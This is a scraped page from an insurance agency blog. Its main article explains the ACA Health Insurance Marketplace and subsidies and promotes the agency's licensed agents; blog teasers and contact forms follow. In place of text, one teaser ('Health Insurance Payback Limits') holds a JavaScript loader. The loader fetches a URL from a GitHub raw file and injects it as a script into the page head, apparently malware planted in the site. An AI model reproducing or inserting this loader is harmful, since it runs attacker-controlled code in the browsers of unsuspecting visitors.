What is the Health Insurance Marketplace?

Imagine a food market, a place where people come to purchase their produce, a Health insurance marketplace is a place where people seek to purchase an affordable health insurance plan. The insurance marketplace is a Federal service created in 2010 by the Affordable Care Act (ACA) also known as Obamacare. The marketplace offers Federal assistance that helps you pay for your insurance plan. There are two types of assistance you could qualify for, one of them is the Advanced Premium Tax Credit and the other one is Cost Sharing. You will know if you qualify for a subsidy based on your income. Although the Marketplace website was created for everyone, some states that run their own marketplace and have their own platform.

So what exactly does the health marketplace help you with? Although the marketplace was created to help consumers find affordable health insurance, it can often be overwhelming by all the information. The marketplace website lists different carriers with different options, however, the health plan options usually list the minimum essential coverage. Because the marketplace only lists the options that meet the minimum essential coverage, you will have to do your own research to find out what other benefits are covered under your plan.

How can you have the peace of mind knowing that you are choosing the plan with the coverage you need? The best way to find an insurance plan that meets all your needs is by searching different options with different insurance companies. If you are trying to do this alone then you will have to call each insurance company to ask for quotes, benefits covered, etc. Because this is a long process we recommend contacting a Licensed Insurance Agent. Agents are FREE to use and they have access to many health insurance options that can be tailored specifically for your needs. Furthermore, because Licensed Agents have access to a wide array of insurance carriers and healthcare options, you have the ability to choose a better and more affordable plan. Contact one of our Compass Insurance Agents (801) 901-3519 to help you with all your insurance process so you don’t have to worry whether you are paying for the right plan or not.

Dynamic Blog Short Description

Health Insurance Payback Limits

var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(scri

Modified Adjusted Gross Income

Because the marketplace application requires an estimated income for the year you want insurance coverage, it can be quite stressful predicting and figuring out your adjusted gross income. Unbelievably enough, many refrain from purchasing health insurance because they believe their gross income wil

What is the Silver Sneakers Program?

How does SilverSneakers work? SilverSneakers is a senior fitness program for adults 65+. And if you have a participating Medicare Advantage or Medigap plan, you can participate in SilverSneakers at no extra cost! What does SilverSneakers include? SilverSneakers members are encouraged to st

What is the 1095-A?

What is the 1095-A? The 1095-A is the form you need to file your taxes if you or someone in your household had a health plan through the Marketplace in the previous year. The 1095-A will be mailed to you as early as mid-January or as late as February 1st. Remember, this form comes from the Marke

A Complete Guide to Health Savings Accounts

Introduction Are you tired of paying high premiums and medical bills while not fully understanding your insurance policy? Well, I'm here to tell you about some options that could save money on your medical expenses and premium while also getting tax benefits. Keep reading to learn more! What

The Medicaid Unwinding Explained

https://youtu.be/1TJUu7Gyk_U The Medicaid Unwinding Explained! What is the Medicaid Unwinding? At the start of the COVID-19 pandemic, Congress enacted the Families First Coronavirus Response Act (FFCRA). This ensured that people would have access to continuous health coverage through Med

How to GUARANTEE You’re On the Right Health Insurance Plan

https://youtu.be/sjpxlgfjkzs?rel=0 Introduction: Feeling overwhelmed and confused when choosing a health insurance plan is a common experience. But what if there was an insider secret to guaranteeing that you're on the right plan? In this blog post, we'll explore the benefits of Compass's

Medicare Part D

Drug Coverage: What is Medicare Part D? Medicare drug coverage helps pay for prescription drugs. If you don’t currently require any prescriptions, there are still reasons to consider getting Medicare drug coverage. Medicare drug coverage (Part D) is optional and is offered t

How Much Does Health Insurance Cost?

How Much Does Health Insurance Cost? How much does individual health insurance cost? The answer to that is dependent on many factors. One way to get a benchmark idea of how much you'll pay for health insurance is by looking at the federal poverty level.If you are paying for health insurance as a

Shem Barlow

No Extra Cost. Professional Guidence. Complete Protection. Simplified Enrollment. Personalized Support.

Contact Shem

sbarlow@insurewithcompass.com

Phone:(801) 856-6151

Fax:801.994.1558

Send a Message

Send a Message (Side-Bar)

Name *

To *

Phone

Subject *

Message

By submitting this form I express my understanding and consent electronically that I acknowledge, consent and agree to the Compass terms of service and privacy policy. Furthermore, I give express written consent to receive emails and/or telephone calls including mobile from or on behalf of Compass at the phone number(s) I have provided. In regard to text messages, I understand that standard text and/or usage rates may apply and message frequency may vary: text HELP for help; text STOP to cancel text messages. I may revoke this consent at any time and I am not required to provide consent as a condition of any sale of goods or services.

If you are human, leave this field blank.

Request a Quote

Request a Quote (Side-Bar)

First Name *

Last Name *

Email *

Phone *

Type Of Quote *

Select one or more Quote Types.

Home ZipCode *

Notes / Additional Info

By submitting this form I agree to the terms of Compass privacy policy. I am giving express written consent to receive emails and/or telephone calls including mobile from or on behalf of Compass and its related businesses at the phone number(s) I provided using automated technology. I understand that standard text and/or usage rates may apply and that I am not required to provide consent as a condition of any sale of a good or service. The frequency of the message may vary based on the services opted in for.

If you are human, leave this field blank.